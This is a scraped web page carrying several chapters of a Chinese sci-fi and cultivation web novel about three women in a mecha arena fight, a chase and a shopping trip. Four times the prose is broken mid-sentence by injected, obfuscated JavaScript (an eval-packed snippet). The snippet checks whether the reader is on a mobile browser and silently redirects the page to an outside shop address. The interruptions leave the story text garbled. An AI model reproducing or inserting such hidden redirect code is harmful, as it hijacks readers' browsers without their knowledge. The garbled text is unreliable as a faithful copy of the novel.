时循的咳嗽声打断了她的话。 见颂千纱要下来,她摆了摆手示意颂千纱继续修机甲。 “回去说。” 话毕,她瞥了眼不远处的摄像头,转头看向颂千纱。 “时间差不多了,下来。” “我先教你用机甲。” “好。” 颂千纱从机甲上下来,跳入驾驶舱。 打斗场很快把场子清理干净,结算画面结束,场上的主持人开口,手迎向候场区。 “好!176号擂台清场完毕!” “接下来有请我们的新人队伍!鲨爆你们队!” “新人队名字取的很嚣张啊!” 主持人开始热场,场下听见队名后嗤声一片,有些人高呼没劲。 “不过她们运气不太好!遇到了我们刚刚三十七连胜的财神降临队!” “财神降临队仅差一场就在积分榜上跻身五十强!” 主持人审时度势,立马开始夸赞财神降临队热场。 “真是年少有为!这场比赛谁会是赢家呢?” “这局赔率已经来到了一比七十!” “看来观众们都觉得财神降临队会赢下比赛啊!” 全程气氛愈发热烈,紧接着,所有人都高呼财神降临队必胜。 “新人队伍很自信啊!选择的是走过来!” 在一片轻蔑的目光中,颂千纱和时循带着兜帽上场了。 候场区走到打斗场擂台还有很长一段路,选手可以选择从低下直梯到场,也可以选择走过去。 有一定名气的选手都会选择走路,与一旁的观众互动,到场速度会慢一些。 齐焦一路奔跑终于跟上脚步,赶到时气喘吁吁。 她低声跟时循交待赌注事宜,时循点了点头回应。 “这只新队伍三个人都带着帽子!看起来很神秘!” 主持人看向齐焦赶场子似的身影,不由笑道。 “居然是赶过来的,没有在候场区等候!看起来新人们很自信啊!” 三人抬脚踏入中心场区,颂千纱转头。 从擂台上望向观众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颂千纱观察着场上其他四人的招式,见风棱冲着自己挥刀,微微侧身躲开。 “不是,美女,你和我打架看都不看我一眼?” 接着,风棱的招式变得狠厉,每一招都往驾驶舱上逼近。 “太狂妄了吧!” 风棱显然是近战好手,控制着身位把颂千纱逼至角落,接着开始蓄力挥刀。 他嘴角勾起,眼神里全是残忍。 “美女,你死期到了!” 颂千纱蹙眉转头,学着刚刚时循的动作,抬手一记引力炮,另一只手撑地轻轻一跃,引力炮瞬间切换成长刀,完全不需要蓄力,对着风棱瞬间劈下! 机甲的背部瞬间被斩下一刀,风棱疼得冷汗直冒。 颂千纱再次对着风棱开始蓄力离子炮。 风棱想要闪身,发现右臂动不了,惊慌大喊。 “金哥,救我!” 冶金的速度瞬间变快,闪身用防御盾挡住颂千纱的攻击。 冶金切回小队语音,满脸慎重地与队友交代。 “这一队很强。” “去偷袭循环,这个人似乎受伤了。” 20. 第 20 章 财神降临队一时被鲨爆你们队压制。 观众席呐喊声再次高涨,但场上六人充耳不闻。 风棱退至冶金身后躲避攻击,等待机甲修复。 冶金一人挡住颂千纱与齐焦。 “挺狂啊!敢一挑二!” 齐焦挑眉,每刀都往机甲中枢与驾驶舱砍去,招式狠厉。 颂千纱在后远攻,想要突破冶金的攻击范围让风棱下场。 冶金分身乏术,帮风棱化解了颂千纱的离子炮。 接着,被齐焦找到破绽,震动刃洞穿机甲胸膛,距离驾驶舱仅一寸距离。 “分心啊!” 疼痛从机甲处传导而来,冶金疼的脸色发白。 齐焦狞笑,另一只手开始蓄力离子炮。 冶金抿唇,眼睛闪过一丝黑气,随后他再次提速,身影如鬼魅般闪动,他的机甲竟在场上消失了一瞬。 颂千纱蹙眉,她的红色眼睛微微一闪,灵宝天赋发动。 不对。 她看向天空,瞳孔一缩。 “齐焦!小心!” 齐焦闻声闪避,可已经来不及了,冶金的机甲从从天而降,她机甲的右臂被瞬间斩下。 “呃!” 齐焦嘴里涌出鲜血,她临危不惧,举起防御盾勉强接下一击。 “吗的,上次是左臂这次是右臂,没完没了是吧!” 颂千纱来不及观察齐焦的情况,见她还能骂人,稍微放下心来,轻舒一口气。 冶金已挥刀朝她而去,身影快的诡异。 风棱的机甲已修复完成,他瞬间奔向时循,与耀速二人配合无间。 齐焦立马站起,往时循方向奔去支援。 颂千纱的眼睛红光愈发闪烁,她的眼里燃起一股愤怒。 她也想过去帮忙,但有心无力。 冶金的力气很大,他的强项是先锋破军,正好克制颂千纱所擅长的防御。 他的阵仗她需要尽全力抵挡。 “喂。” 冶金勾唇在驾驶舱漫不经心地挥刀。 “把兜帽掀起来,你要是足够漂亮——” 他用手撑着脑袋,看向在驾驶舱里的颂千纱。 “我就放你过去支援。” 冶金看出她不擅攻击。 他如同逗弄老鼠的猫一般,他的攻击不为打败她,而是不断拦路。 不让颂千纱冲上前支援。 颂千纱面色绷紧,再次躲过他的攻击。 她眼中红光更盛,提速用全力向冶金驾驶舱挥出一刀。 “吾有点烦你了。” 冶金诧异地望向颂千纱,随后一抹黑色再次闪过眼瞳,嘴角勾起一抹恶意的笑。 “既然你不听话,那我可没办法了。” 下一瞬,冶金提速绕过颂千纱。 举手对准时循,发射离子炮。 原本与齐焦缠斗的耀速也不惜损伤武器,转身冲向时循。 三人瞬间围殴,时循第一时间开启防御盾,但力量太强,防御盾几乎瞬间碎裂。 时循的脸色更加苍白,咳嗽声从小队语音内传来。 颂千纱眼瞳收缩,面色苍白,慌忙大喊。 “时循!” 齐焦与颂千纱往时循身边奔去,可三人的攻击要比她们的脚步更快。 三人眼里皆是恶意,轻蔑地看着时循,枪支对准驾驶舱。 “再见喽,小矮子!” “下辈子注意点!” 颂千纱感觉到心脏猛烈一缩。 脑中空白了一瞬。 衣服内的伴生纹再次闪烁,颂千纱呼吸急促,眼里的红光忽明忽灭。 颂千纱脑中不断回想着时循与齐焦说过的话。 “但我觉得你可以保护好我。” “我也相信你。” 时循握住长刀挡住驾驶舱,不让三人的攻击落在要害,一边闪身躲避。 齐焦上前打断攻势,可本就伤势严重地她哪能抵挡得住三人。 冶金的身影再次消失。 再出现时,离时循驾驶舱仅有一寸。 耀速攻势愈发狠厉,齐焦侧身,避无可避,被耀速的长剑堪堪擦过机甲中枢,刺进机甲胸膛。 她只能苍白着脸看向时循。 “小殿下!” 时循闪避不及,离子炮的攻击已到眼前。 千钧一发。 离子炮触碰到机甲,时循脚下突然亮起。 是颂千纱的防御阵法。 场上所有人都不可置信地瞪大眼睛,包括时循与齐焦。 他们从未见过这样的防御盾。 古朴的文字密密麻麻地在地上形成一个圆圈,竟比防御盾还要坚固,甚至他们全力一击也尚未打碎。 他们惊疑不定地望向对面三人。 颂千纱赶到,脚步带起的风吹开颂千纱的兜帽一瞬,场上正好拍到她垂眸,半张较好的面庞。 她衣服下纹路不断闪烁,眼神红光亮起。 时循似乎在耳麦内不断呼唤她的名字,提醒她不能失控。 齐焦也在一旁看了过来,分心提醒她。 听不清。 颂千纱用力闭了闭眼,她深深吐了口气。 抿唇看向冶金,面无表情。 冶金见势不对,退后两步,命令队友开启防御盾。 眼神警惕的看向颂千纱。 她站定,抬起双臂离子炮具于掌间蓄力,脚下升起阵法。 这个阵法与时循机甲上的防御阵法有所不同,阵法之内,冶金感觉到一股肃杀之气。 冶金机敏地想要躲开,齐焦侧身一捅,把冶金与耀速二人挡在阵内。 随后单手用长枪把风棱赶猪一样往阵里赶。 风棱心生警觉,想办法想要引齐焦离开,帮助队友离开。 前有狼后有虎。 二人的危机感横生,冷汗直冒,只能双双把防御拉到最高,背靠背地挡着。 下一秒,原本应是蓝色的离子炮变成红蓝相间。 一股磅礴的力量从颂千纱机甲中迸发,观众们隔着保护着都能感觉到那股势不可挡的力量。 冶金被瞬间秒杀,耀速重伤。 全场哗然。 擂台表层被打裂,但底层非常坚固,纹丝不动。 颂千纱盯着擂台中央久久不动。 这下面似乎蕴藏着什么。 表层打裂之后,有一股比冶金身上还要讨厌的味道从下面蒸腾而上,那东西似乎在与她对视,呓语些什么。 时循站了起来,蹙眉看着她的动作。 颂千纱闭眼感应。 锁骨间又闪了一瞬。 颂千纱再次睁眼,她面目狰狞,眼睛第一次染上戾气,红光大盛。 “你竟敢吞噬他的血!” 她的声音带着怒极的颤抖,从小队语音中传来,二人愣了一瞬。 颂千纱控制着枪口,用离子炮再次对准擂台中央轰去,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐焦摆了摆手,表示不愿意回答。 时循看向冶金,眉头紧蹙。 半晌,她咳嗽着从驾驶舱上下来,敲了敲颂千纱的机甲。 “下来,回去了。” 颂千纱依旧盯着场子中央不动。 时循面色紧绷。 她见颂千纱不动,更用力拍了拍颂千纱的机甲,咳嗽更甚。 颂千纱像是醒过来了一般,从机甲上一跃而下,面色发沉。 齐焦闻声也从机甲上下来,在屏幕上点下不继续参赛。 她面色警惕地在场外环视一圈。 “快走。” 三人前往直梯离开赛场,似乎等到离开的那一刻,场上的观众才彻底醒过神来,场内忽然嘈杂起来。 颂千纱依旧紧盯着那片赛场,电梯彻底关上后,她微微晃神。 她紧绷着转头看向二人。 “我有很重要的事情要说。” 时循闻声转头,刚想开口,电梯扶摇直上,门开了。 “回去说。” 21. 第 21 章 门外站了不少选手,都一一向他们行着注目礼。有的面带敬意,有的面露挑衅,有的惊诧。 颂千纱察觉目光,看向门外众人,有几个选手退后两步,目光惊疑不定。 时循与齐焦在前面开路。 时循的呼吸微微一顿,紧蹙着眉看向门外各处。 紧接着,她回头向某处瞥去。 有一群训练有素的脚步声从远处的地下传来。 时循眸光微闪,低头让整个兜帽挡住脸,大步跑了起来。 “低头,赶紧回家。” 随后又改口道。 “不,我们去酒店。” “好。” 齐焦在时循决定改道后瞥了眼身后诸多目光,有不少脚步声越来越近,以他们为中心从四面八方传来。 二人带着颂千纱加快脚步。 “去哪个酒店?” “人多的。” 时循沉思片刻,开口道。 “去维纳斯。” “维纳斯?” 齐焦蹙了蹙眉,从口袋里拿出光脑。 “有那么多钱吗?” 时循回答得斩钉截铁。 “有。” 齐焦在光脑上点了几下,直勾勾地看向余额,嘴角不自觉地咧到最大,原本苍白的脸色都红润了不少。 她猛地亲了口光脑,狂喜地看向二人。 “到账了!我们现在是有钱人了!” “多少?” “四千二百万。” 时循神色毫无波澜。 颂千纱心不在焉。 “刚刚堪用。” “这还堪用?!” 齐焦忍不住扬声,做出一个夸张的表情。 她开始眉飞色舞地开始畅想未来。 “我要买黄金!买股票!买机甲!” “穷人乍富。” 时循点评。 二人一路说笑跑出赛区,往出口跑去。 颂千纱瞥向转角,是一条与赛场截然不同的生活区。 鲜花有序地摆放在道路两侧,里面种种不同口味的食物香气从里面传来,往深处看去,有不少人在里面打盹。 颂千纱微微一怔,她看向齐焦。 “那边是什么?里面人的状态很安逸。” “每赢一场都有积分,积分可以用来兑换东西,或者在这里生活。” “这里的生活待遇与贵族别无二致,所以有很多人冒死也要参加。” 齐焦向颂千纱介绍着。 三人跑出打斗场,回到地面。 时循微微侧目看向齐焦。 齐焦会意,轻车熟路地带着二人往右跑去。 颂千纱疑惑地看向齐焦。 “不去坐来时的那个吗?咱们跑回去吗?” “那边有出租的私家航行舰。” “航行舰更快。” 话毕,齐焦已经扫码打开航行舰舱门。 出租的航行舰可以选择无人驾驶或者自己驾驶。 多数赶时间的人会选择自己驾驶,虽然速度上还是有限制,但会比无人驾驶快很多。 当然,私人驾驶与无人驾驶的押金也有显著区别,前者需要压一辆车的价格,而后者只需要五百星币。 “快上。” 三人坐好后,齐焦一脚油门踩到底。 颂千纱刚刚座稳,就被不可抗力摁进了座位里。 时循更盛,原本坐稳就踩不到地面,现在两脚一翻直接半躺。 “……” 推背感拉满。 航行舰行驶得很快,三人甩开打斗场伺机而动的人群,齐焦的肩膀微微松懈下来。 颂千纱看向二人。 放松神经后,二人脸色都更加苍白,神情露出不同程度的疲惫。 她微微晃神,手不由自主地抚上伴生纹,眼中忧虑更深。 齐焦单手撑着脑袋,改变方向转了几个口子,可后视镜里依旧有影子。 她微微放松的肌肉再次绷起,隆起眉头猛打方向盘,朝人流多的地方驶去。 果然,隐蔽处有几辆航行舰不远不近地跟着。 齐焦勾唇调侃颂千纱。 “纱纱,你露的那一手有点震惊联盟了啊!” “连机甲师协会的人都来了。” 时循蹙眉回头,望向远处跟着的车辆。 颂千纱的思绪被拉回,放在锁骨处的手不自觉地收拢。 她侧目,勉强从嘴角扯出一抹笑。 “机甲师协会?” 车上的二人都在探查情况,没有再接话。 颂千纱想起什么,她忽然看向时循。 “现在能说我觉得很重要的事吗?” “我看看。” 时循的目光从舰外瞥向舰内探查。 她上下摸索半晌,后惨白着脸力竭地坐回座位咳嗽。 随后叹了口气,转过头看向颂千纱。 “你扫一眼这里有没有监听设备。” 颂千纱指向方向台前的人工智能语音。 “这个。” “齐焦,关智能系统。” 齐焦从镜子里对着时循翻了个白眼。 “小姐,你没坐过我们穷人的出租航行舰吧?” “租来的是不能关闭的。” 时循坐回座位。 她又咳嗽了两声,闭眼靠在座椅上休憩。 声音透露出一股说不出的疲惫。 “这里不安全,下车再说。” “好。” 颂千纱轻轻吐了口气,把冗杂的思绪一并压了下去。 她敛眸瞥向后视镜。 “要甩掉后面的哪辆车?” 齐焦笑了笑,用食指轻轻指了指后视镜,方向盘向右打死,再次加速。 “喏,跟上来的这三辆黑的。” 颂千纱垂眸,让兜帽挡住整张脸。 她眼睛红光微闪,并不显眼,但离得近的二人都感受到了一股力量。 “加速。” 齐焦眉毛微挑,也不问原由,油门再次踩到底。 她的嘴角挂着一抹散漫的弧度。 “行。” 航行舰在颂千纱的加持下快了几乎一倍。 三人很快甩开了身后的车辆,进入人流。 齐焦的方向盘不断转动,一脚刹车不踩,七弯八拐地驶入公共停放区。 时循第一个下车。 她原本苍白的脸色更白了,原本苍白的脸上甚至带了几分痛苦的神色。 颂千纱连忙跟着下车查看。 “你这车技……” 时循苦着脸,来不及回应颂千纱。 她扶门下车就开始吐。 颂千纱扶住时循。 齐焦还车完毕,最后一个下车。 她转身看向二人,眉毛猛地一跳,倒抽了一口凉气。 她为了掩饰尴尬,她干咳了好几声。 远处的航行舰还在寻找他们的踪迹,齐焦瞥了眼天空。 她瞥向颂千纱,眼珠微转,眼底滑过一丝狡黠,面色故作绷紧。 一旁的时循还在狂吐。 “纱纱,取下兜帽,脱外套。” “然后抱起她跟我跑。” 话毕,齐焦撒开腿就跑。 颂千纱摘下兜帽,嘴巴无意识地张开,眉毛提起,愣愣地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是弄脏沙发会有额外的清洗费。 三人都各自进入卫生间洗漱。 齐焦第一个出来,紧接着是时循。 齐焦单手撑着头,慵懒地倚在沙发上。 二人坐在新沙发上看着投影上的视讯,等着颂千纱。 时循蜷着身子靠在沙发一角,身上裹了两床被子。 齐焦瞥向时循,她的脸色依旧苍白,神情恹恹。 “顶得住吗?我现在去买治疗剂?” “不能去。” 时循摇头,松散地靠在新沙发上,拢了拢被子,疲惫地揉着太阳穴。 她的嘴唇白的透明。 “现在很容易被他们查出来。” “你不要命了?” 齐焦看着时循惨白的脸,嘴角挂着的笑淡了下去。 她拧着眉头反复打开关闭光脑屏幕。 半晌后。 颂千纱从浴室出来,手上擦着头发。 她的头发很长,用浴巾包了起来,并未吹干,脸上还有未干的水渍。 颂千纱轻轻吐气,思绪从淋浴时发烫的伴生纹上拉回,看向二人不同程度苍白的脸。 “我来吧。” 22. 第 22 章 时循猛地抬头看向颂千纱。 齐焦疑惑地看向她。 “你来什么?” 时循的眉头微微隆起。 她瞥了眼齐焦,又转脸看向颂千纱,嘴角压平成一条直线。 齐焦被看的莫名。 她的眼神在二人身上来回转动。 “这是威胁吗?” 时循挺直背脊,手交叠在腿上,直视着颂千纱。 颂千纱神色淡淡地看着时循,意思很明显。 “如果你要这么想当然可以。” 颂千纱顿了顿,把情绪敛在长睫之下,语气很轻。 “我认为——” “没什么谋划比你们的命重要。” 齐焦半躺在沙发上,没有打断二人。她盯着着颂千纱,嘴角挂起一丝温暖的弧度。 二人对峙。 半晌,时循率先败下阵来。 时循挺直的脊背忽然直挺挺地倒了下去,整个身子毫无形象地躺在沙发上。 她用手胡乱擦了把脸,蓦地笑了笑。 接着,靠在沙发上吐了口气,像是做好了决定。 她把被子掀开双脚着地。 “走吧,我们现在去买治疗液。” 她穿着酒店的拖鞋往门口走,换上鞋,忽然脚步又顿住,转头看向颂千纱。 “对了。” “你刚刚说重要的事,要现在说吗?” 颂千纱弯了弯眼角回应时循。 “先买治疗液。” “行。” 时循转身利落地开门。 伴生纹再次发烫,颂千纱再次晃神,站在原地没动。 自她使用天赋之后,伴生纹就反复发烫,越来越频繁。 怎么回事? 胤允感应到了吗? 齐焦看向二人,随后眼神再次变得玩味,嘴角重新挂起一丝弧度。 她一把搂住颂千纱,对着前面的时循扬了扬下巴。 “纱纱居然能让这头倔驴改变想法,厉害啊!” 颂千纱被齐焦的动作吓了一跳。 齐焦学着颂千纱的习惯动作,俏皮地眨了眨眼。 颂千纱忍俊不禁,她也跟着眨了眨眼,一脸无辜。 “我只是关心你们。” 齐焦深深地看了颂千纱一眼,眼底有情绪翻涌。 随后摸了摸颂千纱的脑袋。 “怎么全是水,这么长的头发不用吹风机?” “吹风机?” “回酒店教你用。” 颂千纱二人踏入电梯。 时循低头思考着什么,在电梯里等二人。 齐焦托着下巴瞥向时循。 “别想了,怕你晕过去。” 二人视线忽然都聚焦在时循脸上。 时循微微侧目回应齐焦,后依旧面色沉凝。 “我没事。” 齐焦轻笑一声,弯腰对着时循挤了挤眼睛。 “你要不要看看你的死人脸色?” “你也不赖。” 时循白眼。 电梯门叮地一声打开,三人往柜台走去。 颂千纱来时尴尬的没敢多看这里,现在向四处望去,这个地方装潢有些接近森林。 一颗大树横亘在中央,根系完全自然生长,丝毫没被限制。上面有不少人工鸟窝,顶端甚至有一个巨大的洞供给阳光。周围有几颗真真假假的藤曼做装饰。 颂千纱不禁笑了笑,神色带着眷念。 她紧绷的神经放松了些许,向另一头看去。 四处摆放着白瓷茶具与木制座椅,与这里的装潢融为一体,让颂千纱蓦然升起一种熟悉感。 虽然没有仙界那么华贵,但也是异曲同工了。 “是不是被这里的奢靡震惊了?” 齐焦顺着颂千纱的目光向周围看去,眼中的惊叹一览无余。 颂千纱望向齐焦眼中带着讶异。 “这很奢靡吗?” 她说话的声音不大,但离得近的人群都忍不住瞥向她,脸色古怪。 齐焦的眉毛提到头顶,她瞪大眼睛看着颂千纱。 连时循都回头带着惊讶看了她一眼。 颂千纱蹙了蹙眉,不明就里。 “我的天?!你才是真正的大小姐啊?!” “这可是远古装潢!你知道养这些生物的条件有多苛刻吗?” “你知道养这几颗树一年要多少星币砸进去吗?!” 颂千纱也瞪大眼睛,嘴巴微张,看向齐焦。 “这些不是能自然生长的吗?为什么要养?” “……” 时循扶额。 齐焦看颂千纱的眼神像是在看怪物。 她敛眸思考了一会儿,眼神更加古怪,看向颂千纱。 “……你不是垃圾星土著吗?” “她童话故事看多了,别闲聊,快点去柜台问路。” 时循打断对话。 齐焦意味不明地看了眼时循,没有再问,越过时循快步走在三人最前方。 三人来到柜台前站定。 齐焦轻车熟路把房卡递了过去。 “治疗液在哪售卖,要不用记名、隐蔽且疗效最好的。” 时循沉思片刻,抬头道。 “不要黑市。” 接待员查验了住房信息,在柜台的光幕上点了几下,微笑看向三人。 “您们要的信息已经发到您的光脑上了。” 齐焦一边从口袋里拿出光脑查看,一边带路门外走去。 “走吧,不太远。” 治疗液属于医院药物,有自主售卖机,但自助售卖都需要实名登记面容,医院很容易查到信息。 三人辗转不久便来到一处破旧的小店。 时循四处看去,意外没有看到任何监控,眉毛微挑。 “首都星第一酒店真是靠谱啊!” 齐焦感叹着走进小店。 “老板,六瓶顶级治疗液。” “四百万星币。” 齐焦被这个数字砸蒙了,身体重心不稳,前后晃了晃。 “?!” “你混哪的?纯抢劫啊?” 里面瘦骨嶙峋的老者躺在摇椅上,里屋走出一个与真人别无二致的服务机器人给老人添茶。 水添至茶杯的四分之三,机器人就转头回了里屋。 而老者从头至尾连眼睛都未睁开,他轻抿了一口茶水。 “爱买不买。” 齐焦转身就要走。 时循咳嗽着瞥向颂千纱,颂千纱会意,立马抱住齐焦的腰。 齐焦不可置信地瞪大眼睛看向时循,张开双臂手舞足蹈。 音调一句比一句高。 “大小姐!四百万!四百万都够买一栋房子了!” “去付钱。” “你!” 齐焦把重量全靠在颂千纱身上,瘫软着身体,嘴唇翕动了几下。 颂千纱抱着齐焦的腰左右晃了晃,她的四肢向煮熟的面条一样,软绵绵地垂着,任颂千纱摆布。 颂千纱嘴角的笑意几乎憋不住。 “你得给我一个非买不可的理由。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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机器人带路引三人往里屋走去。 时循在最前面走着,递给齐焦两瓶,她伸手接过。 接着又递给颂千纱两瓶,颂千纱笑着摆了摆手。 “我不用。” 时循瞥了一眼颂千纱,麻利地把剩下两瓶塞进口袋里,自己打开治疗液一口灌下。 齐焦与时循动作如出一辙。 颂千纱歪头从上到下的观察着机器人,她除了机械的语音与内部的结构外,其他与真人别无二致。 很快走到出口,机器人在光幕上点了几下,一道门从隐蔽处打开。 机器人对着时循微微鞠躬。 “时循小姐,门外有林先生为您准备的航行舰,再会。” 时循侧目点头。 “再会,林淼。” 颂千纱与齐焦闻言,讶异地相互看了一眼。 三人从出口走出来,时循径直走向航行舰,坐上驾驶座。 颂千纱好奇地观察着。 与之前坐过的都不一样,线条简洁大方,呈流线型,比其他的航行舰都要好看不少。 她坐上去,连车里的装潢都分外华丽。 23. 第 23 章 时循踩下油门,齐焦与颂千纱坐在后排,车子平稳加速,街景逐渐缩小。 齐焦谨慎地往窗外看去。 暂时没有人跟着,姿势放松了不少,她转头用手臂撑着头。 她直勾勾地盯着时循的后脑勺,似笑非笑。 “你和林上校关系匪浅啊。” “显而易见。” 时循坐姿松散单手握着方向盘,瞥了一眼后视镜,神情淡淡的。 颂千纱观察着二人。 几分钟内二人的脸色都好了不少。 她悄悄松了口气,放松了背脊,手搭着锁骨,目光落在窗外寻找着什么。 二人谈话没有继续。 时循在航行舰上点了几下。 “林淼,关闭所有智能系统。” “好的,正在为您关闭所有智能系统。” 齐焦眼中带着讶异。 车里装载的系统居然是连接林斯福的机器人。 时循不准备继续解释,任由齐焦打量,她眼睛瞥向后视镜的另一侧。 “下了打斗场时你想说什么?” 颂千纱的收回目光,眼眸微微垂下。 当时想要说的话,早在打断后冷却了下来。 颂千纱早就意识到这里满目疮痍。没有仙魔,没有灵气,草木不可成灵,动物不可化妖。 可正因如此,她更无法向二人解释判断的依据,也无法说出口自己能力的来由。 植物原本就要比人类更加敏锐地感受到灾祸。 可这怎么告诉他们? 她沉默了半晌,忽然扯出一抹笑。 接着,她望向时循。 “这里不安全。” “比之前的星球要危险很多。” “我……” 颂千纱又垂下眼睫,她的声音有些低落。 “不知道你们能不能全身而退。” 时循眼神瞬间凝固,眉头越蹙越深,用力握住方向盘,指节泛白。 她走神了片刻,航行舰逐渐加速。 齐焦蹙眉,眼神中带着锐利。 “什么意思?” 颂千纱又思忖了半晌,转头看向二人。 “这颗星球有一股腐朽的味道,和讨厌的声音。” “什么腐朽的味道?讨厌的声音在说什么?” 齐焦直起身子追问。 “就是地底正在被腐蚀着的味道,像是在等待着时机。” 颂千纱又顿了顿,脊背弓着,抱着膝盖。 “那个声音像是呓语,在我的脑中向我传达着什么。” “我没听清。” 她的睫毛微微颤动,蜷着身体。 颂千纱当时只在那东西的身体里感受到了胤允的血液,怒气攻心,没留意那东西想说什么。 只一心想把胤允的血挖出。 可她打不破那个擂台。 “你怎么感受到的?” 颂千纱的身子僵住片刻,她不自觉地往角落挪了一步,转过头去不看二人。 “闻到的,听到的。” 齐焦的拧着眉毛,她倒吸了一口气。 时循面色紧绷,缓缓放松用力的指节,轻轻吐气,努力让自己冷静下来。 颂千纱抬头看向她,一脸疑惑。 “嘶……” 齐焦仰头思考。 半晌,她再次没骨头似的躺回座椅上。 颂千纱皱着脸,面带疑惑。 “怎么了?” “实话说,将信将疑。” 齐焦耸了耸肩,笑容淡了下来,她看向颂千纱。 颂千纱不认同,张口还想说什么。 时循倏然开口。 “你腐朽的味道和声音,你在哪感受到的?” “焦焦家的附近那棵死掉的树里,和打斗场上。” 颂千纱看向时循,时循面色变得凝重。 齐焦蓦然睁眼,转头看向颂千纱。 车内瞬间静默。 不知过了多久,伴生纹再次发烫,这次比之前哪一次都要炙热。 她被烫的掌心发汗,抚摸上伴生纹。 颂千纱的视线在二人身上辗转了片刻。 她犹豫了一会儿,像是还想说什么,但张了张口,又还是闭上了。 一路无话。 窗外的风景逐渐从天空变成城市,时循的车开得快且稳,她驶入停放口。 时循缓缓吐了口气,不再纠结,她转头看向颂千纱交代道。 “我知道了,之后再遇到类似的味道声音和我说。” 她强调道。 “一定。” “好。” 时循率先打开门,二人紧接着下来,她望向与七年前别无二致的巨大建筑,微微怔忪。 颂千纱也看向面前的商场。 整座楼设计的简约又宏大,看起来像是连成一片的大大小小的方块。周围全是吆喝的小吃街与鼎沸的人流。 颂千纱从未见过如此热闹的地方。 “这里是哪?” 时循抬脚向商场入口走去,二人紧接着跟上。 “商场。” “要做什么?” “放松心情,养精蓄锐。” 齐焦闻言抬头,她缓缓吐出一口气,往中间一挤,双臂揽住二人的肩膀,嘴上再次挂起笑容。 “买光脑,买衣服,吃东西!” 时循瞥她一眼,揽住二人身上的双臂毫不意外地被打掉了。 齐焦也不恼,懒洋洋地插进兜里。 三人走入商场内部。 哪怕现在是傍晚,整个商场依旧灯火通明,像是这颗星球的另一处心脏。 颂千纱先听见的是悠扬欢快的歌曲,紧接着扑面而来的,是充满科技感的装潢,以蓝白为基调。 里面非常大,但三人走在内部还是有些拥挤,人与人直接的距离被强行压缩,颂千纱甚至能听见旁人的交谈。 时循轻车熟路地拐了两个弯,从一个机器上取下一个口罩呆在自己脸上,接着往另一个方向走去。 齐焦挑了挑眉,往左一指。 “光脑应该在那边吧?我刚刚看了眼路标。” 时循转身就朝着齐焦指的方向走去。 商场的店铺很多,内里结构变化不大,现在基本最好的商铺基本都是时家名下的品牌。 时循眉头微蹙,观察起各处布置,不久后,眼中闪过一丝了然。 颂千纱跟着二人走进一架店铺。 “这个,还有这个,三个颜色,各三台。” 时循指了指台上最显眼的一台光脑与粒子环,齐焦抬手付款,服务员包好,三人麻利出店。 时循自己拿出一台,麻利撕开塑封,后又拿出一台给颂千纱,接着把袋子递给齐焦。 颂千纱学着时循拆开塑封,把光脑戴在手上。 三人又来到另一家服装店。 时循发号施令。 “你们拿软尺来量三维。” “三个人,要不同款式。” 颂千纱穿着店员为她选定的衣服,不适地扯了扯胸前的蝴蝶结。 齐焦瞥了眼向芭比娃娃似的颂千纱,不禁笑了笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16993611|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三人大包小包地走出衣服店。 手上都拿满了自己的衣服,这购物量十分壮观。 忽然,商场一阵暴动,像是来了什么名人。 时循侧目望去,似乎是时家的制服。她收回目光,脚步不停。 齐焦叹了口气。 “大小姐,和你逛街跟执行任务似的。” 时循转头,脸上带着一丝诧异。 “都买了这么多了,不爽吗?” “有种领导带下属进行公司采购的感觉……” 齐焦幽怨地瞥了眼时循。 时循愣了愣,随即一笑,停下脚步。 从袋子里翻出粒子环拆开,简单设置了一个虹膜,随后抬手,她手里的行李瞬间消失。 “你这么说是有些道理。” “那接下来想吃什么?” 颂千纱看得眨了眨眼。 她依葫芦画瓢,行李也消失在了环中,粒子环上映出一道光幕,显示着她刚刚装入的东西,并一个个各自分类好。 与灵戒的功能异曲同工,只是不随意念而动。 颂千纱身影忽然顿住,伴生纹异常灼热,隐隐传来另一条突破了桎梏的感觉,愈演愈烈。 可过了一会儿,明确的感觉又变得模糊。 齐焦思考了半晌。 “炒菜吧,比较奢侈。” “我们上去看看什么炒菜好吃。” 三人乘上扶梯。 颂千纱蹙眉,心不在焉地向下看去。 辗转了好几家,最后在三人还是坐在了最开始选定的一家入座。 齐焦点单完毕,把菜单交给二人查看,时循加了几道菜,把菜单递给颂千纱,颂千纱摆了摆手。 